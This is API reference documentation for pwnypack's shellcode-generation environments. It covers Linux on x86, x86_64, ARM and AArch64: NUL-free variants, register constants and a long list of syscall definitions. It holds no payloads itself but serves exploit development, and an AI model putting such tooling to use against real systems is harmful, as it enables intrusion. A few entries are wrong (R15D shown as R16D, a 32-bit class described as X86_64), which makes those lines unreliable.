class pwnypack.shellcode.x86.linux.LinuxX86Mutable(version=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.x86.linux.LinuxX86

An environment that targets a 32-bit Linux X86 machine in a writable segment.

data_finalizer(env, code, data)

Simple data allocation strategy that expects the code to be in a writable segment. We just append the data to the end of the code.

class pwnypack.shellcode.x86.linux.LinuxX86Stack(version=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.x86.linux.LinuxX86

An environment that targets a 32-bit Linux X86 machine that allocates the required data on the stack.

class pwnypack.shellcode.x86.linux.LinuxX86MutableNullSafe(version=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.x86.null_safe.X86NullSafe, pwnypack.shellcode.x86.linux.LinuxX86

An environment that targets a 32-bit Linux X86 machine in a writable segment that emits no NUL bytes or carriage return characters.

data_finalizer(env, code, data)

Simple data allocation strategy that expects the code to be in a writable segment. We just append the data to the end of the code.

class pwnypack.shellcode.x86.linux.LinuxX86StackNullSafe(version=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.x86.null_safe.X86NullSafe, pwnypack.shellcode.x86.linux.LinuxX86

An environment that targets a 32-bit Linux X86 machine that allocates the required data on the stack and emits no NUL bytes or carriage return characters.

class pwnypack.shellcode.x86.linux.LinuxX86(version=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.linux.Linux, pwnypack.shellcode.x86.X86

An environment that targets a generic Linux X86_64 machine.

sys_get_thread_area = SyscallDef(sys_get_thread_area: void *)
sys_iopl = SyscallDef(sys_iopl: int)
sys_modify_ldt = SyscallDef(sys_modify_ldt: int, void *, int)
sys_rt_sigreturn = SyscallDef(sys_rt_sigreturn)
sys_set_thread_area = SyscallDef(sys_set_thread_area: void *)
sys_sigreturn = SyscallDef(sys_sigreturn)
sys_vm86 = SyscallDef(sys_vm86: int, int)
sys_vm86old = SyscallDef(sys_vm86old: void *)

linux – Linux X86_64

class pwnypack.shellcode.x86_64.linux.LinuxX86_64Mutable(*args, **kwargs)[source]

Bases: pwnypack.shellcode.x86_64.linux.LinuxX86_64

An environment that targets a 64-bit Linux X86 machine in a writable segment.

data_finalizer(env, code, data)

Simple data allocation strategy that expects the code to be in a writable segment. We just append the data to the end of the code.

class pwnypack.shellcode.x86_64.linux.LinuxX86_64Stack(*args, **kwargs)[source]

Bases: pwnypack.shellcode.x86_64.linux.LinuxX86_64

An environment that targets a 64-bit Linux X86 machine that allocates the required data on the stack.

class pwnypack.shellcode.x86_64.linux.LinuxX86_64MutableNullSafe(*args, **kwargs)[source]

Bases: pwnypack.shellcode.x86_64.null_safe.X86_64NullSafe, pwnypack.shellcode.x86_64.linux.LinuxX86_64

An environment that targets a 64-bit Linux X86 machine in a writable segment that emits no NUL bytes or carriage return characters.

data_finalizer(env, code, data)

Simple data allocation strategy that expects the code to be in a writable segment. We just append the data to the end of the code.

class pwnypack.shellcode.x86_64.linux.LinuxX86_64StackNullSafe(*args, **kwargs)[source]

Bases: pwnypack.shellcode.x86_64.null_safe.X86_64NullSafe, pwnypack.shellcode.x86_64.linux.LinuxX86_64

An environment that targets a 64-bit Linux X86 machine that allocates the required data on the stack and emits no NUL bytes or carriage return characters.

class pwnypack.shellcode.x86_64.linux.LinuxX86_64(*args, **kwargs)[source]

Bases: pwnypack.shellcode.linux.Linux, pwnypack.shellcode.x86_64.X86_64

An environment that targets a generic Linux X86_64 machine.

sys_arch_prctl = SyscallDef(sys_arch_prctl: int, int)
sys_iopl = SyscallDef(sys_iopl: int)
sys_mmap = SyscallDef(sys_mmap: void *, int, int, int, int, int)
sys_modify_ldt = SyscallDef(sys_modify_ldt: int, void *, int)
sys_rt_sigreturn = SyscallDef(sys_rt_sigreturn)

linux – Linux ARM

class pwnypack.shellcode.arm.linux.LinuxARMMutable(*args, **kwargs)[source]

Bases: pwnypack.shellcode.arm.linux.LinuxARM

An environment that targets a 32-bit Linux ARM machine in a writable segment.

class pwnypack.shellcode.arm.linux.LinuxARMStack(*args, **kwargs)[source]

Bases: pwnypack.shellcode.arm.linux.LinuxARM

An environment that targets a 32-bit Linux ARM machine that allocates the required data on the stack.

class pwnypack.shellcode.arm.linux.LinuxARMThumbMutable(endian=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.arm.linux.LinuxARMThumb

An environment that targets a 32-bit Linux ARM machine using the Thumb instruction set in a writable segment.

class pwnypack.shellcode.arm.linux.LinuxARMThumbStack(endian=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.arm.linux.LinuxARMThumb

An environment that targets a 32-bit Linux ARM machine using the Thumb instruction set that allocates the required data on the stack.

class pwnypack.shellcode.arm.linux.LinuxARMThumbMixedMutable(endian=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.arm.linux.LinuxARMThumbMixed

An environment that targets a 32-bit Linux ARM machine, switches to Thumb mode and resides in a writable segment.

class pwnypack.shellcode.arm.linux.LinuxARMThumbMixedStack(endian=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.arm.linux.LinuxARMThumbMixed

An environment that targets a 32-bit Linux ARM machine, switches to Thumb mode and allocates the required data on the stack.

class pwnypack.shellcode.arm.linux.LinuxARM(*args, **kwargs)[source]

Bases: pwnypack.shellcode.linux.Linux, pwnypack.shellcode.arm.ARM

An environment that targets a generic Linux ARM machine.

class pwnypack.shellcode.arm.linux.LinuxARMThumb(endian=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.arm.thumb.ARMThumb, pwnypack.shellcode.arm.linux.LinuxARM

An environment that targets a generic Linux ARM machine in Thumb mode.

class pwnypack.shellcode.arm.linux.LinuxARMThumbMixed(endian=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.arm.thumb_mixed.ARMThumbMixed, pwnypack.shellcode.arm.linux.LinuxARM

An environment that targets a generic Linux ARM machine that starts out in ARM mode but switches to Thumb mode.

linux – Linux AArch64

class pwnypack.shellcode.aarch64.linux.LinuxAArch64Mutable(*args, **kwargs)[source]

Bases: pwnypack.shellcode.aarch64.linux.LinuxAArch64

An environment that targets a 64-bit Linux ARM machine in a writable segment.

class pwnypack.shellcode.aarch64.linux.LinuxAArch64Stack(*args, **kwargs)[source]

Bases: pwnypack.shellcode.aarch64.linux.LinuxAArch64

An environment that targets a 64-bit Linux ARM machine that allocates the required data on the stack.

class pwnypack.shellcode.aarch64.linux.LinuxAArch64(*args, **kwargs)[source]

Bases: pwnypack.shellcode.linux.Linux, pwnypack.shellcode.aarch64.AArch64

An environment that targets a generic Linux AArch64 machine.

sys_rt_sigreturn = SyscallDef(sys_rt_sigreturn: void *)

x86 – X86

class pwnypack.shellcode.x86.X86(*args, **kwargs)[source]

Bases: pwnypack.shellcode.base.BaseEnvironment

Environment that targets a generic, unrestricted X86 architecture.

AH = <Reg:AH>

ah register

AL = <Reg:AL>

al register

AX = <Reg:AX>

ax register

BH = <Reg:BH>

bh register

BL = <Reg:BL>

bl register

BP = <Reg:BP>

bp register

BX = <Reg:BX>

bx register

CH = <Reg:CH>

ch register

CL = <Reg:CL>

cl register

CX = <Reg:CX>

cx register

DH = <Reg:DH>

dh register

DI = <Reg:DI>

di register

DL = <Reg:DL>

dl register

DX = <Reg:DX>

dx register

EAX = <Reg:EAX>

eax register

EBP = <Reg:EBP>

ebp register

EBX = <Reg:EBX>

ebx register

ECX = <Reg:ECX>

ecx register

EDI = <Reg:EDI>

edi register

EDX = <Reg:EDX>

edx register

EIP = <Reg:EIP>

eip register

ESI = <Reg:ESI>

esi register

ESP = <Reg:ESP>

esp register

IP = <Reg:IP>

ip register

SI = <Reg:SI>

si register

SP = <Reg:SP>

sp register

target = Target(arch=x86,bits=32,endian=little,mode=0)

Target architecture

x86_64 – X86_64

class pwnypack.shellcode.x86_64.X86_64(*args, **kwargs)[source]

Bases: pwnypack.shellcode.x86.X86

Environment that targets a generic, unrestricted X86_64 architecture.

R10 = <Reg:R10>

r10 register

R10B = <Reg:R10B>

r10b register

R10D = <Reg:R10D>

r10d register

R10W = <Reg:R10W>

r10w register

R11 = <Reg:R11>

r11 register

R11B = <Reg:R11B>

r11b register

R11D = <Reg:R11D>

r11d register

R11W = <Reg:R11W>

r11w register

R12 = <Reg:R12>

r12 register

R12B = <Reg:R12B>

r12b register

R12D = <Reg:R12D>

r12d register

R12W = <Reg:R12W>

r12w register

R13 = <Reg:R13>

r13 register

R13B = <Reg:R13B>

r13b register

R13D = <Reg:R13D>

r13d register

R13W = <Reg:R13W>

r13w register

R14 = <Reg:R14>

r14 register

R14B = <Reg:R14B>

r14b register

R14D = <Reg:R14D>

r14d register

R14W = <Reg:R14W>

r14w register

R15 = <Reg:R15>

r15 register

R15B = <Reg:R15B>

r15b register

R15D = <Reg:R16D>

r16d register

R15W = <Reg:R15W>

r15w register

R8 = <Reg:R8>

r8 register

R8B = <Reg:R8B>

r8b register

R8D = <Reg:R8D>

r8d register

R8W = <Reg:R8W>

r8w register

R9 = <Reg:R9>

r9 register

R9B = <Reg:R9B>

r9b register

R9D = <Reg:R9D>

r9d register

R9W = <Reg:R9W>

r9w register

RAX = <Reg:RAX>

rax register

RBP = <Reg:RBP>

rbp register

RBX = <Reg:RBX>

rbx register

RCX = <Reg:RCX>

rcx register

RDI = <Reg:RDI>

rdi register

RDX = <Reg:RDX>

rdx register

RIP = <Reg:RIP>

rip register

RSI = <Reg:RSI>

rsi register

RSP = <Reg:RSP>

rsp register

target = Target(arch=x86,bits=64,endian=little,mode=0)

Target architecture

arm – ARM

class pwnypack.shellcode.arm.ARM(endian=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.base.BaseEnvironment

Environment that targets a generic, unrestricted ARM architecture.

LR = <Reg:LR>

lr register

PC = <Reg:PC>

pc register

R0 = <Reg:R0>

r0 register

R1 = <Reg:R1>

r1 register

R10 = <Reg:R10>

r10 register

R11 = <Reg:R11>

r11 register

R12 = <Reg:R12>

r12 register

R2 = <Reg:R2>

r2 register

R3 = <Reg:R3>

r3 register

R4 = <Reg:R4>

r4 register

R5 = <Reg:R5>

r5 register

R6 = <Reg:R6>

r6 register

R7 = <Reg:R7>

r7 register

R8 = <Reg:R8>

r8 register

R9 = <Reg:R9>

r9 register

SP = <Reg:SP>

sp register

target = None

Target architecture, initialized in __init__.

class pwnypack.shellcode.arm.thumb.ARMThumb(endian=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.arm.ARM

Environment that targets a generic, unrestricted ARM architecture using the Thumb instruction set.

class pwnypack.shellcode.arm.thumb_mixed.ARMThumbMixed(endian=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.arm.thumb.ARMThumb

Environment that targets a generic, unrestricted ARM architecture that switches to the Thumb instruction set.

aarch64 – AArch64

class pwnypack.shellcode.aarch64.AArch64(endian=None, *args, **kwargs)[source]

Bases: pwnypack.shellcode.base.BaseEnvironment

Environment that targets a generic, unrestricted AArch64 architecture.

SP = <Reg:SP>

sp (stack pointer) register

W0 = <Reg:W0>

w0 register

W1 = <Reg:W1>

w1 register

W10 = <Reg:W10>

w10 register

W11 = <Reg:W11>

w11 register

W12 = <Reg:W12>

w12 register

W13 = <Reg:W13>

w13 register

W14 = <Reg:W14>

w14 register

W15 = <Reg:W15>

w15 register

W16 = <Reg:W16>

w16 register

W17 = <Reg:W17>

w17 register

W18 = <Reg:W18>

w18 register

W19 = <Reg:W19>

w19 register

W2 = <Reg:W2>

w2 register

W20 = <Reg:W20>

w20 register

W21 = <Reg:W21>

w21 register

W22 = <Reg:W22>

w22 register

W23 = <Reg:W23>

w23 register

W24 = <Reg:W24>

w24 register

W25 = <Reg:W25>

w25 register

W26 = <Reg:W26>

w26 register

W27 = <Reg:W27>

w27 register

W28 = <Reg:W28>

w28 register

W29 = <Reg:W29>

w29 register

W3 = <Reg:W3>

w3 register

W30 = <Reg:W30>

w30 register

W4 = <Reg:W4>

w4 register

W5 = <Reg:W5>

w5 register

W6 = <Reg:W6>

w6 register

W7 = <Reg:W7>

w7 register

W8 = <Reg:W8>

w8 register

W9 = <Reg:W9>

w9 register

WZR = <Reg:WZR>

wzr register

X0 = <Reg:X0>

x0 register

X1 = <Reg:X1>

x1 register

X10 = <Reg:X10>

x10 register

X11 = <Reg:X11>

x11 register

X12 = <Reg:X12>

x12 register

X13 = <Reg:X13>

x13 register

X14 = <Reg:X14>

x14 register

X15 = <Reg:X15>

x15 register

X16 = <Reg:X16>

x16 register

X17 = <Reg:X17>

x17 register

X18 = <Reg:X18>

x18 register

X19 = <Reg:X19>

x19 register

X2 = <Reg:X2>

x2 register

X20 = <Reg:X20>

x20 register

X21 = <Reg:X21>

x21 register

X22 = <Reg:X22>

x22 register

X23 = <Reg:X23>

x23 register

X24 = <Reg:X24>

x24 register

X25 = <Reg:X25>

x25 register

X26 = <Reg:X26>

x26 register

X27 = <Reg:X27>

x27 register

X28 = <Reg:X28>

x28 register

X29 = <Reg:X29>

x29 register

X3 = <Reg:X3>

x3 register

X30 = <Reg:X30>

x30 register

X4 = <Reg:X4>

x4 register

X5 = <Reg:X5>

x5 register

X6 = <Reg:X6>

x6 register

X7 = <Reg:X7>

x7 register

X8 = <Reg:X8>

x8 register

X9 = <Reg:X9>

x9 register

XZR = <Reg:XZR>

xzr register

target = None

Target architecture, initialized in __init__.

linux – Linux OS

class pwnypack.shellcode.linux.Linux(*args, **kwargs)[source]

Bases: pwnypack.shellcode.base.BaseEnvironment

This mix-in defines all the common Linux syscalls and the syscall mechanism.

sys_accept = SyscallDef(sys_accept: int, void *, void *)
sys_accept4 = SyscallDef(sys_accept4: int, void *, void *, int)
sys_access = SyscallDef(sys_access: void **, int)
sys_acct = SyscallDef(sys_acct: void **)
sys_add_key = SyscallDef(sys_add_key: void **, void **, void *, int, int)
sys_adjtimex = SyscallDef(sys_adjtimex: void *)
sys_alarm = SyscallDef(sys_alarm: int)
sys_bdflush = SyscallDef(sys_bdflush: int, int)
sys_bind = SyscallDef(sys_bind: int, void *, int)
sys_bpf = SyscallDef(sys_bpf: int, void *, int)
sys_brk = SyscallDef(sys_brk: int)
sys_capget = SyscallDef(sys_capget: void *, void *)
sys_capset = SyscallDef(sys_capset: void *, void *)
sys_chdir = SyscallDef(sys_chdir: void **)
sys_chmod = SyscallDef(sys_chmod: void **, int)
sys_chown = SyscallDef(sys_chown: void **, int, int)
sys_chown16 = SyscallDef(sys_chown16: void **, int, int)
sys_chroot = SyscallDef(sys_chroot: void **)
sys_clock_adjtime = SyscallDef(sys_clock_adjtime: int, void *)
sys_clock_getres = SyscallDef(sys_clock_getres: int, void *)
sys_clock_gettime = SyscallDef(sys_clock_gettime: int, void *)
sys_clock_nanosleep = SyscallDef(sys_clock_nanosleep: int, int, void *, void *)
sys_clock_settime = SyscallDef(sys_clock_settime: int, void *)
sys_clone = SyscallDef(sys_clone: int, int, void *, void *, int)
sys_close = SyscallDef(sys_close: int)
sys_connect = SyscallDef(sys_connect: int, void *, int)
sys_copy_file_range = SyscallDef(sys_copy_file_range: int, void *, int, void *, int, int)
sys_creat = SyscallDef(sys_creat: void **, int)
sys_delete_module = SyscallDef(sys_delete_module: void **, int)
sys_dup = SyscallDef(sys_dup: int)
sys_dup2 = SyscallDef(sys_dup2: int, int)
sys_dup3 = SyscallDef(sys_dup3: int, int, int)
sys_epoll_create = SyscallDef(sys_epoll_create: int)
sys_epoll_create1 = SyscallDef(sys_epoll_create1: int)
sys_epoll_ctl = SyscallDef(sys_epoll_ctl: int, int, int, void *)
sys_epoll_pwait = SyscallDef(sys_epoll_pwait: int, void *, int, int, void *, int)
sys_epoll_wait = SyscallDef(sys_epoll_wait: int, void *, int, int)
sys_eventfd = SyscallDef(sys_eventfd: int)
sys_eventfd2 = SyscallDef(sys_eventfd2: int, int)
sys_execve = SyscallDef(sys_execve: void **, void **[], void **[])
sys_execveat = SyscallDef(sys_execveat: int, void **, void **[], void **[], int)
sys_exit = SyscallDef(sys_exit: int)
sys_exit_group = SyscallDef(sys_exit_group: int)
sys_faccessat = SyscallDef(sys_faccessat: int, void **, int)
sys_fadvise64 = SyscallDef(sys_fadvise64: int, int, int, int)
sys_fadvise64_64 = SyscallDef(sys_fadvise64_64: int, int, int, int)
sys_fallocate = SyscallDef(sys_fallocate: int, int, int, int)
sys_fanotify_init = SyscallDef(sys_fanotify_init: int, int)
sys_fanotify_mark = SyscallDef(sys_fanotify_mark: int, int, int, int, void *)
sys_fchdir = SyscallDef(sys_fchdir: int)
sys_fchmod = SyscallDef(sys_fchmod: int, int)
sys_fchmodat = SyscallDef(sys_fchmodat: int, void **, int)
sys_fchown = SyscallDef(sys_fchown: int, int, int)
sys_fchown16 = SyscallDef(sys_fchown16: int, int, int)
sys_fchownat = SyscallDef(sys_fchownat: int, void **, int, int, int)
sys_fcntl = SyscallDef(sys_fcntl: int, int, int)
sys_fcntl64 = SyscallDef(sys_fcntl64: int, int, int)
sys_fdatasync = SyscallDef(sys_fdatasync: int)
sys_fgetxattr = SyscallDef(sys_fgetxattr: int, void **, void *, int)
sys_finit_module = SyscallDef(sys_finit_module: int, void **, int)
sys_flistxattr = SyscallDef(sys_flistxattr: int, void **, int)
sys_flock = SyscallDef(sys_flock: int, int)
sys_fork = SyscallDef(sys_fork)
sys_fremovexattr = SyscallDef(sys_fremovexattr: int, void **)
sys_fsetxattr = SyscallDef(sys_fsetxattr: int, void **, void *, int, int)
sys_fstat = SyscallDef(sys_fstat: int, void *)
sys_fstat64 = SyscallDef(sys_fstat64: int, void *)
sys_fstatat64 = SyscallDef(sys_fstatat64: int, void **, void *, int)
sys_fstatfs = SyscallDef(sys_fstatfs: int, void *)
sys_fstatfs64 = SyscallDef(sys_fstatfs64: int, int, void *)
sys_fsync = SyscallDef(sys_fsync: int)
sys_ftruncate = SyscallDef(sys_ftruncate: int, int)
sys_ftruncate64 = SyscallDef(sys_ftruncate64: int, int)
sys_futex = SyscallDef(sys_futex: void *, int, int, void *, void *, int)
sys_futimesat = SyscallDef(sys_futimesat: int, void **, void *)
sys_get_mempolicy = SyscallDef(sys_get_mempolicy: void *, void *, int, int, int)
sys_get_robust_list = SyscallDef(sys_get_robust_list: int, void *, void *)
sys_getcpu = SyscallDef(sys_getcpu: void *, void *, void *)
sys_getcwd = SyscallDef(sys_getcwd: void **, int)
sys_getdents = SyscallDef(sys_getdents: int, void *, int)
sys_getdents64 = SyscallDef(sys_getdents64: int, void *, int)
sys_getegid = SyscallDef(sys_getegid)
sys_getegid16 = SyscallDef(sys_getegid16)
sys_geteuid = SyscallDef(sys_geteuid)
sys_geteuid16 = SyscallDef(sys_geteuid16)
sys_getgid = SyscallDef(sys_getgid)
sys_getgid16 = SyscallDef(sys_getgid16)
sys_getgroups = SyscallDef(sys_getgroups: int, void *)
sys_getgroups16 = SyscallDef(sys_getgroups16: int, void *)
sys_gethostname = SyscallDef(sys_gethostname: void **, int)
sys_getitimer = SyscallDef(sys_getitimer: int, void *)
sys_getpeername = SyscallDef(sys_getpeername: int, void *, void *)
sys_getpgid = SyscallDef(sys_getpgid: int)
sys_getpgrp = SyscallDef(sys_getpgrp)
sys_getpid = SyscallDef(sys_getpid)
sys_getppid = SyscallDef(sys_getppid)
sys_getpriority = SyscallDef(sys_getpriority: int, int)
sys_getrandom = SyscallDef(sys_getrandom: void **, int, int)
sys_getresgid = SyscallDef(sys_getresgid: void *, void *, void *)
sys_getresgid16 = SyscallDef(sys_getresgid16: void *, void *, void *)
sys_getresuid = SyscallDef(sys_getresuid: void *, void *, void *)
sys_getresuid16 = SyscallDef(sys_getresuid16: void *, void *, void *)
sys_getrlimit = SyscallDef(sys_getrlimit: int, void *)
sys_getrusage = SyscallDef(sys_getrusage: int, void *)
sys_getsid = SyscallDef(sys_getsid: int)
sys_getsockname = SyscallDef(sys_getsockname: int, void *, void *)
sys_getsockopt = SyscallDef(sys_getsockopt: int, int, int, void **, void *)
sys_gettid = SyscallDef(sys_gettid)
sys_gettimeofday = SyscallDef(sys_gettimeofday: void *, void *)
sys_getuid = SyscallDef(sys_getuid)
sys_getuid16 = SyscallDef(sys_getuid16)
sys_getxattr = SyscallDef(sys_getxattr: void **, void **, void *, int)
sys_init_module = SyscallDef(sys_init_module: void *, int, void **)
sys_inotify_add_watch = SyscallDef(sys_inotify_add_watch: int, void **, int)
sys_inotify_init = SyscallDef(sys_inotify_init)
sys_inotify_init1 = SyscallDef(sys_inotify_init1: int)
sys_inotify_rm_watch = SyscallDef(sys_inotify_rm_watch: int, int)
sys_io_cancel = SyscallDef(sys_io_cancel: void *, void *, void *)
sys_io_destroy = SyscallDef(sys_io_destroy: void *)
sys_io_getevents = SyscallDef(sys_io_getevents: void *, int, int, void *, void *)
sys_io_setup = SyscallDef(sys_io_setup: int, void *)
sys_io_submit = SyscallDef(sys_io_submit: void *, int, void *)
sys_ioctl = SyscallDef(sys_ioctl: int, int, int)
sys_ioperm = SyscallDef(sys_ioperm: int, int, int)
sys_ioprio_get = SyscallDef(sys_ioprio_get: int, int)
sys_ioprio_set = SyscallDef(sys_ioprio_set: int, int, int)
sys_ipc = SyscallDef(sys_ipc: int, int, int, int, void *, int)
sys_kcmp = SyscallDef(sys_kcmp: int, int, int, int, int)
sys_kexec_file_load = SyscallDef(sys_kexec_file_load: int, int, int, void **, int)
sys_kexec_load = SyscallDef(sys_kexec_load: int, int, void *, int)
sys_keyctl = SyscallDef(sys_keyctl: int, int, int, int, int)
sys_kill = SyscallDef(sys_kill: int, int)
sys_lchown = SyscallDef(sys_lchown: void **, int, int)
sys_lchown16 = SyscallDef(sys_lchown16: void **, int, int)
sys_lgetxattr = SyscallDef(sys_lgetxattr: void **, void **, void *, int)
sys_linkat = SyscallDef(sys_linkat: int, void **, int, void **, int)
sys_listen = SyscallDef(sys_listen: int, int)
sys_listxattr = SyscallDef(sys_listxattr: void **, void **, int)
sys_llistxattr = SyscallDef(sys_llistxattr: void **, void **, int)
sys_llseek = SyscallDef(sys_llseek: int, int, int, void *, int)
sys_lookup_dcookie = SyscallDef(sys_lookup_dcookie: int, void **, int)
sys_lremovexattr = SyscallDef(sys_lremovexattr: void **, void **)
sys_lseek = SyscallDef(sys_lseek: int, int, int)
sys_lsetxattr = SyscallDef(sys_lsetxattr: void **, void **, void *, int, int)
sys_lstat = SyscallDef(sys_lstat: void **, void *)
sys_lstat64 = SyscallDef(sys_lstat64: void **, void *)
sys_madvise = SyscallDef(sys_madvise: int, int, int)
sys_mbind = SyscallDef(sys_mbind: int, int, int, void *, int, int)
sys_membarrier = SyscallDef(sys_membarrier: int, int)
sys_memfd_create = SyscallDef(sys_memfd_create: void **, int)
sys_migrate_pages = SyscallDef(sys_migrate_pages: int, int, void *, void *)
sys_mincore = SyscallDef(sys_mincore: int, int, void *)
sys_mkdir = SyscallDef(sys_mkdir: void **, int)
sys_mkdirat = SyscallDef(sys_mkdirat: int, void **, int)
sys_mknod = SyscallDef(sys_mknod: void **, int, int)
sys_mknodat = SyscallDef(sys_mknodat: int, void **, int, int)
sys_mlock = SyscallDef(sys_mlock: int, int)
sys_mlock2 = SyscallDef(sys_mlock2: int, int, int)
sys_mlockall = SyscallDef(sys_mlockall: int)
sys_mmap2 = SyscallDef(sys_mmap2: void *, int, int, int, int, int)
sys_mount = SyscallDef(sys_mount: void **, void **, void **, int, void *)
sys_move_pages = SyscallDef(sys_move_pages: int, int, void *, void *, void *, int)
sys_mprotect = SyscallDef(sys_mprotect: int, int, int)
sys_mq_getsetattr = SyscallDef(sys_mq_getsetattr: int, void *, void *)
sys_mq_notify = SyscallDef(sys_mq_notify: int, void *)
sys_mq_open = SyscallDef(sys_mq_open: void **, int, int, void *)
sys_mq_timedreceive = SyscallDef(sys_mq_timedreceive: int, void **, int, void *, void *)
sys_mq_timedsend = SyscallDef(sys_mq_timedsend: int, void **, int, int, void *)
sys_mremap = SyscallDef(sys_mremap: int, int, int, int, int)
sys_msgctl = SyscallDef(sys_msgctl: int, int, void *)
sys_msgget = SyscallDef(sys_msgget: int, int)
sys_msgrcv = SyscallDef(sys_msgrcv: int, void *, int, int, int)
sys_msgsnd = SyscallDef(sys_msgsnd: int, void *, int, int)
sys_msync = SyscallDef(sys_msync: int, int, int)
sys_munlock = SyscallDef(sys_munlock: int, int)
sys_munlockall = SyscallDef(sys_munlockall)
sys_munmap = SyscallDef(sys_munmap: int, int)
sys_name_to_handle_at = SyscallDef(sys_name_to_handle_at: int, void **, void *, void *, int)
sys_nanosleep = SyscallDef(sys_nanosleep: void *, void *)
sys_newfstat = SyscallDef(sys_newfstat: int, void *)
sys_newfstatat = SyscallDef(sys_newfstatat: int, void **, void *, int)
sys_newlstat = SyscallDef(sys_newlstat: void **, void *)
sys_newstat = SyscallDef(sys_newstat: void **, void *)
sys_newuname = SyscallDef(sys_newuname: void *)
sys_nfsservctl = SyscallDef(<class 'pwnypack.shellcode.types.NUMERIC'>: void *, void *)
sys_ni_syscall = SyscallDef(sys_ni_syscall)
sys_nice = SyscallDef(sys_nice: int)
sys_old_getrlimit = SyscallDef(sys_old_getrlimit: int, void *)
sys_old_mmap = SyscallDef(sys_mmap: void *)
sys_old_readdir = SyscallDef(sys_old_readdir: int, void *, int)
sys_old_select = SyscallDef(sys_old_select: void *)
sys_olduname = SyscallDef(sys_olduname: void *)
sys_open = SyscallDef(sys_open: void **, int, int)
sys_open_by_handle_at = SyscallDef(sys_open_by_handle_at: int, void *, int)
sys_openat = SyscallDef(sys_openat: int, void **, int, int)
sys_pause = SyscallDef(sys_pause)
sys_pciconfig_iobase = SyscallDef(sys_pciconfig_iobase: int, int, int)
sys_pciconfig_read = SyscallDef(sys_pciconfig_read: int, int, int, int, void *)
sys_pciconfig_write = SyscallDef(sys_pciconfig_write: int, int, int, int, void *)
sys_perf_event_open = SyscallDef(sys_perf_event_open: void *, int, int, int, int)
sys_personality = SyscallDef(sys_personality: int)
sys_pipe = SyscallDef(sys_pipe: void *)
sys_pipe2 = SyscallDef(sys_pipe2: void *, int)
sys_pivot_root = SyscallDef(sys_pivot_root: void **, void **)
sys_poll = SyscallDef(sys_poll: void *, int, int)
sys_ppoll = SyscallDef(sys_ppoll: void *, int, void *, void *, int)
sys_prctl = SyscallDef(sys_prctl: int, int, int, int, int)
sys_pread64 = SyscallDef(sys_pread64: int, void **, int, int)
sys_preadv = SyscallDef(sys_preadv: int, void *, int, int, int)
sys_preadv2 = SyscallDef(sys_preadv2: int, void *, int, int, int, int)
sys_prlimit64 = SyscallDef(sys_prlimit64: int, int, void *, void *)
sys_process_vm_readv = SyscallDef(sys_process_vm_readv: int, void *, int, void *, int, int)
sys_process_vm_writev = SyscallDef(sys_process_vm_writev: int, void *, int, void *, int, int)
sys_pselect6 = SyscallDef(sys_pselect6: int, void *, void *, void *, void *, void *)
sys_ptrace = SyscallDef(sys_ptrace: int, int, int, int)
sys_pwrite64 = SyscallDef(sys_pwrite64: int, void **, int, int)
sys_pwritev = SyscallDef(sys_pwritev: int, void *, int, int, int)
sys_pwritev2 = SyscallDef(sys_pwritev2: int, void *, int, int, int, int)
sys_quotactl = SyscallDef(sys_quotactl: int, void **, int, void *)
sys_read = SyscallDef(sys_read: int, void **, int)
sys_readahead = SyscallDef(sys_readahead: int, int, int)
sys_readlinkat = SyscallDef(sys_readlinkat: int, void **, void **, int)
sys_readv = SyscallDef(sys_readv: int, void *, int)
sys_reboot = SyscallDef(sys_reboot: int, int, int, void *)
sys_recv = SyscallDef(sys_recv: int, void *, int, int)
sys_recvfrom = SyscallDef(sys_recvfrom: int, void *, int, int, void *, void *)
sys_recvmmsg = SyscallDef(sys_recvmmsg: int, void *, int, int, void *)
sys_recvmsg = SyscallDef(sys_recvmsg: int, void *, int)
sys_remap_file_pages = SyscallDef(sys_remap_file_pages: int, int, int, int, int)
sys_removexattr = SyscallDef(sys_removexattr: void **, void **)
sys_rename = SyscallDef(sys_rename: void **, void **)
sys_renameat = SyscallDef(sys_renameat: int, void **, int, void **)
sys_renameat2 = SyscallDef(sys_renameat2: int, void **, int, void **, int)
sys_request_key = SyscallDef(sys_request_key: void **, void **, void **, int)
sys_restart_syscall = SyscallDef(sys_restart_syscall)
sys_rmdir = SyscallDef(sys_rmdir: void **)
sys_rt_sigaction = SyscallDef(sys_rt_sigaction: int, void *, void *, int)
sys_rt_sigpending = SyscallDef(sys_rt_sigpending: void *, int)
sys_rt_sigprocmask = SyscallDef(sys_rt_sigprocmask: int, void *, void *, int)
sys_rt_sigqueueinfo = SyscallDef(sys_rt_sigqueueinfo: int, int, void *)
sys_rt_sigsuspend = SyscallDef(sys_rt_sigsuspend: void *, int)
sys_rt_sigtimedwait = SyscallDef(sys_rt_sigtimedwait: void *, void *, void *, int)
sys_rt_tgsigqueueinfo = SyscallDef(sys_rt_tgsigqueueinfo: int, int, int, void *)
sys_sched_get_priority_max = SyscallDef(sys_sched_get_priority_max: int)
sys_sched_get_priority_min = SyscallDef(sys_sched_get_priority_min: int)
sys_sched_getaffinity = SyscallDef(sys_sched_getaffinity: int, int, void *)
sys_sched_getattr = SyscallDef(sys_sched_getattr: int, void *, int, int)
sys_sched_getparam = SyscallDef(sys_sched_getparam: int, void *)
sys_sched_getscheduler = SyscallDef(sys_sched_getscheduler: int)
sys_sched_rr_get_interval = SyscallDef(sys_sched_rr_get_interval: int, void *)
sys_sched_setaffinity = SyscallDef(sys_sched_setaffinity: int, int, void *)
sys_sched_setattr = SyscallDef(sys_sched_setattr: int, void *, int)
sys_sched_setparam = SyscallDef(sys_sched_setparam: int, void *)
sys_sched_setscheduler = SyscallDef(sys_sched_setscheduler: int, int, void *)
sys_sched_yield = SyscallDef(sys_sched_yield)
sys_seccomp = SyscallDef(sys_seccomp: int, int, void **)
sys_select = SyscallDef(sys_select: int, void *, void *, void *, void *)
sys_semctl = SyscallDef(sys_semctl: int, int, int, int)
